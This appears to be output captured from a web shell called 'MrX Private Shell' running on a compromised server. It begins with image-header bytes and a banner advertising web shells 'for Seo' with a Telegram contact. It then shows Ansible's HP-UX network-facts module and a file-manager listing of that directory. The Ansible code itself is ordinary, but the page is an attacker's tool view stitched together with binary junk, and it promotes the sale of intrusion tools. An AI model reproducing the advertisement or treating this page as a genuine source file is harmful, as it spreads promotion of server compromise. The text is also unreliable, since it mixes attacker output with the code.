����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible.module_utils.facts.network.base import Network, NetworkCollector
class HPUXNetwork(Network):
"""
HP-UX-specifig subclass of Network. Defines networking facts:
- default_interface
- interfaces (a list of interface names)
- interface_<name> dictionary of ipv4 address information.
"""
platform = 'HP-UX'
def populate(self, collected_facts=None):
network_facts = {}
netstat_path = self.module.get_bin_path('netstat')
if netstat_path is None:
return network_facts
default_interfaces_facts = self.get_default_interfaces()
network_facts.update(default_interfaces_facts)
interfaces = self.get_interfaces_info()
network_facts['interfaces'] = interfaces.keys()
for iface in interfaces:
network_facts[iface] = interfaces[iface]
return network_facts
def get_default_interfaces(self):
default_interfaces = {}
rc, out, err = self.module.run_command("/usr/bin/netstat -nr")
lines = out.splitlines()
for line in lines:
words = line.split()
if len(words) > 1:
if words[0] == 'default':
default_interfaces['default_interface'] = words[4]
default_interfaces['default_gateway'] = words[1]
return default_interfaces
def get_interfaces_info(self):
interfaces = {}
rc, out, err = self.module.run_command("/usr/bin/netstat -niw")
lines = out.splitlines()
for line in lines:
words = line.split()
for i in range(len(words) - 1):
if words[i][:3] == 'lan':
device = words[i]
interfaces[device] = {'device': device}
address = words[i + 3]
interfaces[device]['ipv4'] = {'address': address}
network = words[i + 2]
interfaces[device]['ipv4'] = {'network': network,
'interface': device,
'address': address}
return interfaces
class HPUXNetworkCollector(NetworkCollector):
_fact_class = HPUXNetwork
_platform = 'HP-UX'
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| aix.py | File | 5.91 KB | 0644 |
|
| base.py | File | 2.41 KB | 0644 |
|
| darwin.py | File | 1.96 KB | 0644 |
|
| dragonfly.py | File | 1.17 KB | 0644 |
|
| fc_wwn.py | File | 5.04 KB | 0644 |
|
| freebsd.py | File | 1.16 KB | 0644 |
|
| generic_bsd.py | File | 12.35 KB | 0644 |
|
| hpux.py | File | 2.95 KB | 0644 |
|
| hurd.py | File | 3.05 KB | 0644 |
|
| iscsi.py | File | 4.7 KB | 0644 |
|
| linux.py | File | 16.69 KB | 0644 |
|
| netbsd.py | File | 1.76 KB | 0644 |
|
| nvme.py | File | 2.02 KB | 0644 |
|
| openbsd.py | File | 1.56 KB | 0644 |
|
| sunos.py | File | 4.69 KB | 0644 |
|